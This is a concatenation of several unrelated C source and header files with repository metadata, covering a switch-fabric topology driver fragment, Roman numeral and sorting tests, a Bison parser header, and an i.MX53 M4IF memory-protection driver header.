RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr, reg_val64, GRACEFUL_PD_RMGRf); gpd_rmgr_global_at_core_clock_steps = gpd_rmgr * dnxf_data_fabric.reachability.rmgr_units_get(unit); gpd_rmgr_global_time = ((gpd_rmgr_global_at_core_clock_steps * 1000) / (dnxf_data_device.general.core_clock_khz_get(unit))) * 1000; SHR_IF_ERR_EXIT(READ_QRH_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr(unit, 0, &reg_val32)); max_base_index = soc_reg_field_get(unit, QRH_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr, reg_val32, MAX_BASE_INDEXf); gpd_spread_time = (max_base_index * gpd_rmgr_global_time * dnxf_data_fabric.reachability.gpd_rmgr_time_factor_get(unit)) / 1000; sal_usleep(gpd_spread_time); SHR_IF_ERR_EXIT(MBCM_DNXF_DRIVER_CALL(unit, mbcm_dnxf_fabric_topology_rmgr_set, (unit, 0))); core_clock_speed = dnxf_data_device.general.core_clock_khz_get(unit); SHR_IF_ERR_EXIT(READ_RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr(unit, &reg_val64)); gpd_threshold = soc_reg64_field32_get(unit, RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr, reg_val64, GRACEFUL_PD_CNT_THf); sleep_time_msec = (gpd_threshold / core_clock_speed) * 10; sal_usleep(sleep_time_msec*1000); SHR_IF_ERR_EXIT(READ_RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr(unit, &reg_val64)); soc_reg64_field_set(unit, RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr, &reg_val64, GRACEFUL_PD_STARTf, 0); SHR_IF_ERR_EXIT(WRITE_RTP_GRACEFUL_POWER_DOWN_CONFIGURATIONr(unit, reg_val64)); } else { SHR_IF_ERR_EXIT(soc_ramon_fabric_topology_mesh_topology_reset(unit)); SHR_IF_ERR_EXIT(MBCM_DNXF_DRIVER_CALL(unit, mbcm_dnxf_fabric_topology_rmgr_set, (unit, 1))); } exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_mesh_topology_reset(int unit) { uint32 reg_val32; soc_reg_above_64_val_t reg_above_64_val; int cch_index,nof_instances_cch; SHR_FUNC_INIT_VARS(unit); nof_instances_cch = dnxf_data_device.blocks.nof_instances_cch_get(unit); if (SOC_DNXF_IS_FE13(unit)) { SOC_REG_ABOVE_64_CLEAR(reg_above_64_val); for (cch_index = 0; cch_index < nof_instances_cch ; cch_index++) { SHR_IF_ERR_EXIT(soc_reg_above_64_set(unit, CCH_AUTO_DOC_NAME_15r, cch_index, 0, reg_above_64_val)); } } for (cch_index = 0; cch_index < nof_instances_cch ; cch_index++) { SHR_IF_ERR_EXIT(soc_reg32_get(unit, CCH_FILTERED_CELLS_CONFIGURATIONSr, cch_index, 0, &reg_val32)); soc_reg_field_set(unit,CCH_FILTERED_CELLS_CONFIGURATIONSr,&reg_val32,FILTER_CELLSf,1); SHR_IF_ERR_EXIT(soc_reg32_set(unit, CCH_FILTERED_CELLS_CONFIGURATIONSr, cch_index, 0, reg_val32)); } sal_usleep(1000); SHR_IF_ERR_EXIT(READ_MESH_TOPOLOGY_MESH_TOPOLOGYr(unit, &reg_val32)); soc_reg_field_set(unit, MESH_TOPOLOGY_MESH_TOPOLOGYr, &reg_val32, RESERVED_5f, 0); SHR_IF_ERR_EXIT(WRITE_MESH_TOPOLOGY_MESH_TOPOLOGYr(unit, reg_val32)); SHR_IF_ERR_EXIT(READ_MESH_TOPOLOGY_MESH_TOPOLOGYr(unit, &reg_val32)); soc_reg_field_set(unit, MESH_TOPOLOGY_MESH_TOPOLOGYr, &reg_val32, RESERVED_5f, 1); SHR_IF_ERR_EXIT(WRITE_MESH_TOPOLOGY_MESH_TOPOLOGYr(unit, reg_val32)); for (cch_index = 0; cch_index < nof_instances_cch ; cch_index++) { SHR_IF_ERR_EXIT(soc_reg32_get(unit, CCH_FILTERED_CELLS_CONFIGURATIONSr, cch_index, 0, &reg_val32)); soc_reg_field_set(unit,CCH_FILTERED_CELLS_CONFIGURATIONSr,&reg_val32,FILTER_CELLSf,0); SHR_IF_ERR_EXIT(soc_reg32_set(unit, CCH_FILTERED_CELLS_CONFIGURATIONSr, cch_index, 0, reg_val32)); } if (SOC_DNXF_IS_FE13(unit)) { SOC_REG_ABOVE_64_ALLONES(reg_above_64_val); for (cch_index = 0; cch_index < nof_instances_cch ; cch_index++) { SHR_IF_ERR_EXIT(soc_reg_above_64_set(unit, CCH_AUTO_DOC_NAME_15r, cch_index, 0, reg_above_64_val)); } } exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_modid_group_map_set(int unit, soc_module_t modid, int group) { uint32 val = 0; SHR_FUNC_INIT_VARS(unit); SHR_IF_ERR_EXIT(READ_RTP_FLGMm(unit, MEM_BLOCK_ANY, modid, &val)); soc_mem_field_set(unit, RTP_FLGMm, &val, GROUP_NUMf, (uint32*)&group); SHR_IF_ERR_EXIT(WRITE_RTP_FLGMm(unit, MEM_BLOCK_ALL, modid, &val)); SHR_IF_ERR_EXIT(READ_RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr(unit, &val)); soc_reg_field_set(unit,RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr,&val,ALRC_FORCE_CALCULATIONf,1); SHR_IF_ERR_EXIT(WRITE_RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr(unit, val)); sal_usleep(1000); soc_reg_field_set(unit,RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr,&val,ALRC_FORCE_CALCULATIONf,0); SHR_IF_ERR_EXIT(WRITE_RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr(unit, val)); exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_mc_sw_control_set(int unit, int group, int enable) { soc_reg_above_64_val_t reg_val; SHR_FUNC_INIT_VARS(unit); SHR_IF_ERR_EXIT(READ_RTP_MCLBT_GROUP_STATIC_CONFIGr(unit, reg_val)); SHR_BITWRITE(reg_val, group, enable); SHR_IF_ERR_EXIT(WRITE_RTP_MCLBT_GROUP_STATIC_CONFIGr(unit, reg_val)); exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_mc_sw_control_get(int unit, int group, int *enable) { soc_reg_above_64_val_t reg_val; SHR_FUNC_INIT_VARS(unit); SHR_IF_ERR_EXIT(READ_RTP_MCLBT_GROUP_STATIC_CONFIGr(unit, reg_val)); *enable = (SHR_BITGET(reg_val, group)) ? (TRUE) : (FALSE); exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_mc_set(int unit, soc_module_t destination_local_id, int links_count, soc_port_t *links_array) { uint32 bmp[DNXF_DATA_MAX_FABRIC_REACHABILITY_TABLE_ROW_SIZE_IN_UINT32]; uint32 val; soc_port_t link = -1; int i_link = 0; SHR_FUNC_INIT_VARS(unit); sal_memset(bmp, 0, sizeof(uint32)*DNXF_DATA_MAX_FABRIC_REACHABILITY_TABLE_ROW_SIZE_IN_UINT32); for(i_link = 0 ; i_link < links_count ; i_link++) { link = links_array[i_link]; if (link != SOC_PORT_INVALID) { SHR_BITSET(bmp,link); } } SHR_IF_ERR_EXIT(WRITE_RTP_SGRm(unit, MEM_BLOCK_ALL, destination_local_id, bmp)); SHR_IF_ERR_EXIT(READ_RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr(unit, &val)); soc_reg_field_set(unit,RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr,&val,ALRC_FORCE_CALCULATIONf,1); SHR_IF_ERR_EXIT(WRITE_RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr(unit, val)); sal_usleep(1000); soc_reg_field_set(unit,RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr,&val,ALRC_FORCE_CALCULATIONf,0); SHR_IF_ERR_EXIT(WRITE_RTP_ALL_REACHABLE_AND_GROUP_REACHABLE_CFGr(unit, val)); exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_mc_get(int unit, soc_module_t destination_local_id, int links_count_max, int *links_count, soc_port_t *links_array) { uint32 bmp[DNXF_DATA_MAX_FABRIC_REACHABILITY_TABLE_ROW_SIZE_IN_UINT32]; int i_link = 0; int link_index = 0; SHR_FUNC_INIT_VARS(unit); sal_memset(bmp, 0, sizeof(uint32)*DNXF_DATA_MAX_FABRIC_REACHABILITY_TABLE_ROW_SIZE_IN_UINT32); SHR_IF_ERR_EXIT(READ_RTP_SGRm(unit, MEM_BLOCK_ANY, destination_local_id, bmp)); *links_count = 0; SHR_BIT_ITER(bmp, dnxf_data_fabric.topology.nof_local_modid_get(unit), i_link) { if (link_index > links_count_max) { SHR_ERR_EXIT(_SHR_E_FULL, "links_array is too small for required links."); } links_array[link_index] = i_link; (link_index)++; } *links_count = link_index; exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_isolate_get(int unit, soc_dnxc_isolation_status_t* val) { uint32 value; soc_reg_above_64_val_t reg_above64_val; SHR_FUNC_INIT_VARS(unit); SHR_IF_ERR_EXIT(READ_RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr(unit,reg_above64_val)); value = soc_reg_above_64_field32_get(unit, RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr, reg_above64_val, RMGRf); if(value == 0) *val = soc_dnxc_isolation_status_isolated; else *val = soc_dnxc_isolation_status_active; exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_rmgr_set(int unit, int enable) { soc_reg_above_64_val_t reg_above64_val; uint32 core_clock_speed = 0; uint32 rmgr = 0; uint32 rmgr_global = 0; uint32 rmgr_global_at_core_clock_steps = 0; int rate_between_links = 0; int full_cycle_rate = 0; SHR_FUNC_INIT_VARS(unit); sal_memset(reg_above64_val, 0, sizeof(reg_above64_val)); if (enable) { core_clock_speed = dnxf_data_device.general.core_clock_khz_get(unit); rate_between_links = dnxf_data_fabric.reachability.gen_rate_link_delta_get(unit); rmgr = (rate_between_links * core_clock_speed) / 1000000; full_cycle_rate = dnxf_data_fabric.reachability.gen_rate_full_cycle_get(unit); rmgr_global_at_core_clock_steps = ((full_cycle_rate / 100) * core_clock_speed ) / 10000; rmgr_global = rmgr_global_at_core_clock_steps / dnxf_data_fabric.reachability.rmgr_units_get(unit); } else { rmgr = 0; rmgr_global = 0; } SHR_IF_ERR_EXIT(READ_RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr(unit,reg_above64_val)); soc_reg_above_64_field32_set(unit, RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr, reg_above64_val, RMGRf, rmgr); soc_reg_above_64_field32_set(unit, RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr, reg_above64_val, RMGR_GLOBALf, rmgr_global); SHR_IF_ERR_EXIT(WRITE_RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr(unit,reg_above64_val)); exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_lb_set(int unit, soc_module_t destination_local_id, int links_count, soc_port_t *links_array) { int i, nof_links; int max_link_score; uint32 bmp[DNXF_DATA_MAX_FABRIC_REACHABILITY_TABLE_ROW_SIZE_IN_UINT32]; uint32 totsf_val = 0, slsct_val, score, sctinc_val, sctinc, last_score = 0; soc_port_t link; soc_field_t scrub_en; soc_reg_above_64_val_t reg_above64_val; SHR_FUNC_INIT_VARS(unit); BCM_PBMP_COUNT(dnxf_data_port.general.supported_phys_get(unit)->pbmp , nof_links); if (soc_dnxf_load_balancing_mode_normal != dnxf_data_fabric.topology.load_balancing_mode_get(unit) && links_count > nof_links / 2) { SHR_ERR_EXIT(_SHR_E_CONFIG, "links_count > %d is allowed only in normal load balancing mode", nof_links / 2); } SHR_IF_ERR_EXIT(READ_RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr(unit, reg_above64_val)); scrub_en = soc_reg_above_64_field32_get(unit, RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr, reg_above64_val, SCT_SCRUB_ENABLEf); soc_reg_above_64_field32_set(unit, RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr, reg_above64_val, SCT_SCRUB_ENABLEf, 0); SHR_IF_ERR_EXIT(WRITE_RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr(unit, reg_above64_val)); soc_mem_field_set(unit, RTP_TOTSFm, &totsf_val, TOTAL_LINKSf, (uint32*)&links_count); sal_memset(bmp, 0, sizeof(bmp)); for(i = 0 ; i<links_count ; i++) { link = links_array[i]; if (link != SOC_PORT_INVALID) { SHR_BITSET(bmp,link); } } SHR_IF_ERR_EXIT(dnxf_state.lb.group_to_first_link.set(unit, destination_local_id, links_array[0])); for(i = 0 ; i<links_count ; i++) { link = links_array[i]; if (link != SOC_PORT_INVALID) { SHR_IF_ERR_EXIT(WRITE_RTP_RCGLBTm(unit, MEM_BLOCK_ALL, link, bmp)); SHR_IF_ERR_EXIT(WRITE_RTP_TOTSFm(unit, MEM_BLOCK_ALL, link, &totsf_val)); slsct_val = 0; max_link_score = dnxf_data_fabric.topology.max_link_score_get(unit); if (soc_dnxf_load_balancing_mode_destination_unreachable == dnxf_data_fabric.topology.load_balancing_mode_get(unit)) { score = max_link_score; } else { score = (max_link_score * (i + 1)) / links_count; } soc_mem_field_set(unit, RTP_SLSCTm, &slsct_val, SCORE_OF_LINKf, &score); SHR_IF_ERR_EXIT(WRITE_RTP_SLSCTm(unit, MEM_BLOCK_ALL, link, &slsct_val)); sctinc_val = 0; sctinc = score-last_score; last_score=score; soc_mem_field_set(unit, RTP_SCTINCm, &sctinc_val, SCORE_TO_INCf, &sctinc); SHR_IF_ERR_EXIT(WRITE_RTP_SCTINCm(unit, MEM_BLOCK_ALL, link, &sctinc_val)); } } SHR_IF_ERR_EXIT(READ_RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr(unit, reg_above64_val)); soc_reg_above_64_field32_set(unit, RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr, reg_above64_val, SCT_SCRUB_ENABLEf, scrub_en); SHR_IF_ERR_EXIT(WRITE_RTP_REACHABILITY_MESSAGE_GENERATOR_CONFIGURATIONr(unit, reg_above64_val)); exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_lb_get(int unit, soc_module_t destination_local_id, int links_count_max, int *links_count, soc_port_t *links_array) { uint32 bmp[DNXF_DATA_MAX_FABRIC_REACHABILITY_TABLE_ROW_SIZE_IN_UINT32]; uint32 totsf_val; int i, link_index; soc_port_t link = -1; SHR_FUNC_INIT_VARS(unit); SHR_IF_ERR_EXIT(dnxf_state.lb.group_to_first_link.get(unit, destination_local_id, &link)); SHR_IF_ERR_EXIT(READ_RTP_RCGLBTm(unit, MEM_BLOCK_ANY, link, bmp)); *links_count = 0; PBMP_SFI_ITER(unit, i) { if(SHR_BITGET(bmp,i)) { SHR_IF_ERR_EXIT(READ_RTP_TOTSFm(unit, MEM_BLOCK_ALL, i, &totsf_val)); soc_mem_field_get(unit, RTP_TOTSFm, &totsf_val, TOTAL_LINKSf, (uint32*)links_count); break; } } if ( (*links_count) > links_count_max) { SHR_ERR_EXIT(_SHR_E_FULL, "links_array is too small"); } link_index=0; PBMP_SFI_ITER(unit, i) { if(SHR_BITGET(bmp,i)) { links_array[link_index] = i; (link_index)++; } } for ( ; link_index < (*links_count) ; link_index++) { links_array[link_index] = -1; } exit: SHR_FUNC_EXIT; } shr_error_e soc_ramon_fabric_topology_local_route_control_cells_enable_set(int unit, int enable) { uint32 reg_val; int first_qrh = 0, last_qrh = 0, qrh_index = 0; SHR_FUNC_INIT_VARS(unit); if (!SOC_DNXF_IS_FE13(unit)) { SHR_ERR_EXIT(_SHR_E_CONFIG, "Disabling LR is allowed only on FE in FE13 mode"); } first_qrh = 0; last_qrh = dnxf_data_device.blocks.nof_instances_qrh_get(unit) / 2; for (qrh_index = first_qrh; qrh_index < last_qrh; qrh_index++) { SHR_IF_ERR_EXIT(soc_reg32_get(unit, QRH_LOCAL_ROUTE_CONFIGURATIONSr, qrh_index, 0, &reg_val)); soc_reg_field_set(unit,QRH_LOCAL_ROUTE_CONFIGURATIONSr, &reg_val, ENABLE_CTRL_LOCAL_FE_1_ROUTINGf, enable); SHR_IF_ERR_EXIT(soc_reg32_set(unit, QRH_LOCAL_ROUTE_CONFIGURATIONSr, qrh_index, 0, reg_val)); } exit: SHR_FUNC_EXIT; } #undef BSL_LOG_MODULE
33.935547
142
0.731971
91cfe55f9460cc0e289c8d7c89590fbb98c834ec
901
c
C
tests/check_add.c
Sunhick/romanCalculator
47117f39f9fb8561151818006353ba6641d3c69e
[ "MIT" ]
null
null
null
tests/check_add.c
Sunhick/romanCalculator
47117f39f9fb8561151818006353ba6641d3c69e
[ "MIT" ]
null
null
null
tests/check_add.c
Sunhick/romanCalculator
47117f39f9fb8561151818006353ba6641d3c69e
[ "MIT" ]
null
null
null
/* check_add.c -- unit testcases for addition of roman numerals * * Copyright (C) 2017 Sunil <sunhick@gmail.com> * * This software may be modified and distributed under the terms * of the MIT license. See the LICENSE file for details. */ #include <check.h> #include <stddef.h> #include <stdio.h> #include "rmconv.h" #include "tests.h" START_TEST (test0) { CHECK_ADD("I", "V", "VI"); CHECK_ADD("I", "IV", "V"); CHECK_ADD("I", "", "I"); } END_TEST START_TEST (test1) { CHECK_ADD("I", "V", "VI"); CHECK_ADD("I", "IV", "V"); CHECK_ADD("I", "", "I"); } END_TEST START_TEST (test2) { CHECK_ADD("I", "V", "VI"); CHECK_ADD("I", "IV", "V"); CHECK_ADD("I", "", "I"); } END_TEST TCase* tc_adds() { TCase *addtc = tcase_create("rm-add"); tcase_add_test(addtc, test0); tcase_add_test(addtc, test1); tcase_add_test(addtc, test2); return addtc; }
20.477273
64
0.605993
c67277a01a555eda469c16a7bed93e563492f12e
147
h
C
test/testErrors.h
Sothatsit/CLib
929fdbb9fdf5448a3e6d75833cf9ed5b2394de12
[ "MIT" ]
1
2017-09-13T03:19:57.000Z
2017-09-13T03:19:57.000Z
test/testErrors.h
Sothatsit/CLib
929fdbb9fdf5448a3e6d75833cf9ed5b2394de12
[ "MIT" ]
null
null
null
test/testErrors.h
Sothatsit/CLib
929fdbb9fdf5448a3e6d75833cf9ed5b2394de12
[ "MIT" ]
null
null
null
#ifndef __CLIB_testErrors_h #define __CLIB_testErrors_h /* * Test error handling. */ void test_errors(int * failures, int * successes); #endif
14.7
50
0.748299
c6c80cb6b404fa73616eef287ffb69841f6b2646
3,781
h
C
src/y.tab.h
colored-dye/C-Minus-Compiler
ca4875b9a3b694d2845bf23f591aacb328f14f63
[ "CC0-1.0" ]
null
null
null
src/y.tab.h
colored-dye/C-Minus-Compiler
ca4875b9a3b694d2845bf23f591aacb328f14f63
[ "CC0-1.0" ]
null
null
null
src/y.tab.h
colored-dye/C-Minus-Compiler
ca4875b9a3b694d2845bf23f591aacb328f14f63
[ "CC0-1.0" ]
null
null
null
/* A Bison parser, made by GNU Bison 3.5.1. */ /* Bison interface for Yacc-like parsers in C Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2020 Free Software Foundation, Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /* As a special exception, you may create a larger work that contains part or all of the Bison parser skeleton and distribute that work under terms of your choice, so long as that work isn't itself a parser generator using the skeleton or a modified version thereof as a parser skeleton. Alternatively, if you modify or redistribute the parser skeleton itself, you may (at your option) remove this special exception, which will cause the skeleton and the resulting Bison output files to be licensed under the GNU General Public License without this special exception. This special exception was added by the Free Software Foundation in version 2.2 of Bison. */ /* Undocumented macros, especially those whose name start with YY_, are private implementation details. Do not rely on them. */ #ifndef YY_YY_Y_TAB_H_INCLUDED # define YY_YY_Y_TAB_H_INCLUDED /* Debug traces. */ #ifndef YYDEBUG # define YYDEBUG 0 #endif #if YYDEBUG extern int yydebug; #endif /* Token type. */ #ifndef YYTOKENTYPE # define YYTOKENTYPE enum yytokentype { MYID = 258, MYNUM = 259, MYINT = 260, MYVOID = 261, MYREAL = 262, MYCHAR = 263, MYRETURN = 264, MYIF = 265, MYELSE = 266, MYWHILE = 267, MYFOR = 268, MYGT = 269, MYLT = 270, MYGE = 271, MYLE = 272, MYNE = 273, MYEQ = 274, MYADD = 275, MYSUB = 276, MYMUL = 277, MYDIV = 278, MYLP = 279, MYRP = 280, MYLB = 281, MYRB = 282, MYLC = 283, MYRC = 284, MYSEMI = 285, MYCOMMA = 286, MYASSIGN = 287, MYERROR = 288, LOWER_THAN_ELSE = 289, ELSE = 290 }; #endif /* Tokens. */ #define MYID 258 #define MYNUM 259 #define MYINT 260 #define MYVOID 261 #define MYREAL 262 #define MYCHAR 263 #define MYRETURN 264 #define MYIF 265 #define MYELSE 266 #define MYWHILE 267 #define MYFOR 268 #define MYGT 269 #define MYLT 270 #define MYGE 271 #define MYLE 272 #define MYNE 273 #define MYEQ 274 #define MYADD 275 #define MYSUB 276 #define MYMUL 277 #define MYDIV 278 #define MYLP 279 #define MYRP 280 #define MYLB 281 #define MYRB 282 #define MYLC 283 #define MYRC 284 #define MYSEMI 285 #define MYCOMMA 286 #define MYASSIGN 287 #define MYERROR 288 #define LOWER_THAN_ELSE 289 #define ELSE 290 /* Value type. */ #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED union YYSTYPE { #line 18 "parser.y" struct Node* node; int integer; float real; #line 133 "y.tab.h" }; typedef union YYSTYPE YYSTYPE; # define YYSTYPE_IS_TRIVIAL 1 # define YYSTYPE_IS_DECLARED 1 #endif /* Location type. */ #if ! defined YYLTYPE && ! defined YYLTYPE_IS_DECLARED typedef struct YYLTYPE YYLTYPE; struct YYLTYPE { int first_line; int first_column; int last_line; int last_column; }; # define YYLTYPE_IS_DECLARED 1 # define YYLTYPE_IS_TRIVIAL 1 #endif extern YYSTYPE yylval; extern YYLTYPE yylloc; int yyparse (void); #endif /* !YY_YY_Y_TAB_H_INCLUDED */
23.63125
80
0.709072
4825bb11252d2c3673f6ea0cbdc1386ce96843a0
1,517
c
C
DataStruct&Algorithm/C/Sort/testSort.c
kk07self/DataStruct-Algorithm
6de99c40358bfaca79a5ce8ee3b404cb736c196f
[ "MIT" ]
null
null
null
DataStruct&Algorithm/C/Sort/testSort.c
kk07self/DataStruct-Algorithm
6de99c40358bfaca79a5ce8ee3b404cb736c196f
[ "MIT" ]
null
null
null
DataStruct&Algorithm/C/Sort/testSort.c
kk07self/DataStruct-Algorithm
6de99c40358bfaca79a5ce8ee3b404cb736c196f
[ "MIT" ]
null
null
null
// // testSort.c // C // // Created by K K on 2018/12/10. // Copyright © 2018 K K. All rights reserved. // #include <stdio.h> #include "testSort.h" #include "sort.h" void testBubbleSort(void); void testInsertSort(void); void testSelectionSort(void); void testMergeSort(void); void testQuickSort(void); void testSort(void) { // testBubbleSort(); // testInsertSort(); // testSelectionSort(); // testMergeSort(); testQuickSort(); } void testQuickSort(void) { int a[13] = {44,22,33,76,77,99,88,11,66,55,56,67,10}; quickSort(a, 13); for (int i = 0; i < 13; i++) { printf("%d\n",a[i]); } } void testMergeSort(void) { // int a[10] = {8,6,5,4,7,2,3,1,9,0}; // int a[10] = {0,1,2,3,4,5,6,7,8,9}; int a[13] = {44,22,33,76,77,99,88,11,66,55,56,67,79}; mergeSort(a, 13); for (int i = 0; i < 13; i++) { printf("%d\n",a[i]); } } void testSelectionSort(void) { // int a[10] = {8,6,5,4,7,2,3,1,9,0}; int a[10] = {0,1,2,3,4,5,6,7,8,9}; selectionSort(a, 10); for (int i = 0; i < 10; i++) { printf("%d\n",a[i]); } } void testInsertSort(void) { // int a[10] = {8,6,5,4,7,2,3,1,9,0}; int a[10] = {0,1,2,3,4,5,6,7,8,9}; insertSort(a, 10); for (int i = 0; i < 10; i++) { printf("%d\n",a[i]); } } void testBubbleSort(void) { int a[10] = {8,6,5,4,7,2,3,1,9,0}; // int a[10] = {0,1,2,3,4,5,6,7,8,9}; bubbleSort(a, 10); for (int i = 0; i < 10; i++) { printf("%d\n",a[i]); } }
19.960526
57
0.514832
429068dc29701f09376bc9cbd3974a13dc693c54
4,801
h
C
include/trusted/kernelspace/kernel/drivers/tzmem_controller/imx_m4if.h
afitzek/andix-os
d043108c5d62bb075508db0341c1ef133e4e856b
[ "BSD-3-Clause" ]
null
null
null
include/trusted/kernelspace/kernel/drivers/tzmem_controller/imx_m4if.h
afitzek/andix-os
d043108c5d62bb075508db0341c1ef133e4e856b
[ "BSD-3-Clause" ]
null
null
null
include/trusted/kernelspace/kernel/drivers/tzmem_controller/imx_m4if.h
afitzek/andix-os
d043108c5d62bb075508db0341c1ef133e4e856b
[ "BSD-3-Clause" ]
null
null
null
/** * Copyright (c) Andreas Fitzek <andreas[dot]fitzek[at]gmail[dot]com> * All rights reserved. * * Redistribution and use in source and binary forms, * with or without modification, are permitted provided * that the following conditions are met: * Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. Redistributions in binary form must reproduce * the above copyright notice, this list of conditions and * the following disclaimer in the documentation and/or * other materials provided with the distribution. * Neither the name of the nor the names of its contributors * may be used to endorse or promote products derived from * this software without specific prior written permission. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND * CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. **/ /* * imx_m4if.h * * Created on: Jun 7, 2013 * Author: andy */ #ifndef IMX_M4IF_H_ #define IMX_M4IF_H_ #include <devices/devices.h> #include <drivers/drivers.h> /** * IMX53 M4IF CS0 start addr */ #define IMX53_M4IF_CS0_PADDR_START (0x70000000) /** * IMX53 M4IF CS0 border */ #define IMX53_M4IF_CS0_PADDR_BORDER (0x80000000) /** * IMX53 M4IF CS0 end addr */ #define IMX53_M4IF_CS0_PADDR_END (0x90000000) /** * IMX53 M4IF CS1 start addr */ #define IMX53_M4IF_CS1_PADDR_START (0xB0000000) /** * IMX53 M4IF CS1 border */ #define IMX53_M4IF_CS1_PADDR_BORDER (0xC0000000) /** * IMX53 M4IF CS1 end addr */ #define IMX53_M4IF_CS1_PADDR_END (0xD0000000) /** * IMX53 M4IF driver name */ #define IMX53_M4IF_DRIVER_NAME "IMX53_M4IF" /** * IMX M4IF register map */ struct imx_m4if_regs { uint32_t __space_0[59]; uint32_t wm0_start_cs0; /**< watermark start addr cs0 */ uint32_t wm0_start_cs1; /**< watermark start addr cs1 */ uint32_t __space_1[6]; uint32_t wm0_end_cs0; /**< watermark end addr cs0 */ uint32_t wm0_end_cs1; /**< watermark end addr cs1 */ uint32_t wm0_status; /**< watermark status */ uint32_t wm0_violation; /**< watermark violation */ }; /** * Typedefine for IMX M4IF register map */ typedef struct imx_m4if_regs imx_m4if_regs_t; /** * Protected memory area */ struct imx_m4if_protected_area { uintptr_t physical_start; /**< physical start addr */ uintptr_t physical_end; /**< physical end addr */ }; /** * Typedefine for Protected memory area */ typedef struct imx_m4if_protected_area imx_m4if_protected_area_t; /** * Device data for m4if instances */ struct imx_m4if_device_data { imx_m4if_regs_t* regs; /**< io mapped device registers */ imx_m4if_protected_area_t* cs0; /**< CS0 protected memory */ imx_m4if_protected_area_t* cs1; /**< CS1 protected memory */ }; /** * Typedefine for Device data for m4if instances */ typedef struct imx_m4if_device_data imx_m4if_device_data_t; /** * Find out which chipselect to use * * @param physical_start physical start addr * @param size the memory size * @return 0 CS0, 1 CS1 else invalid! */ int32_t imx_m4if_get_cs(void* physical_start, uint32_t size); /** * m4if probe handler */ int imx_m4if_probe(platform_device_t *dev); /** * IOCTL handler for imx53 m4if */ uint32_t imx_m4if_ioctl(platform_device_t *dev, uint32_t request, uintptr_t param, uint32_t psize); /** * Protect memory * * @param m4if The m4if device data * @param physical_start physical start addr * @param size the memory size * @return TZ_MEM_* */ uint32_t imx_m4if_protect_mem(imx_m4if_device_data_t* m4if, uintptr_t physical_start, uint32_t size); /** * Unprotect memory * * @param m4if The m4if device data * @param physical_start physical start addr * @param size the memory size * @return TZ_MEM_* */ uint32_t imx_m4if_unprotect_mem(imx_m4if_device_data_t* m4if, uintptr_t physical_start, uint32_t size); /** * Dump m4if information * * @param m4if The m4if device data */ void imx_m4if_dump(imx_m4if_device_data_t* m4if); /** * The m4if driver instance */ static const platform_driver_t imx_m4if_driver; #endif /* IMX_M4IF_H_ */
26.524862
69
0.73443
51b2459713176a207e01a12ec5771ddcd53987c0
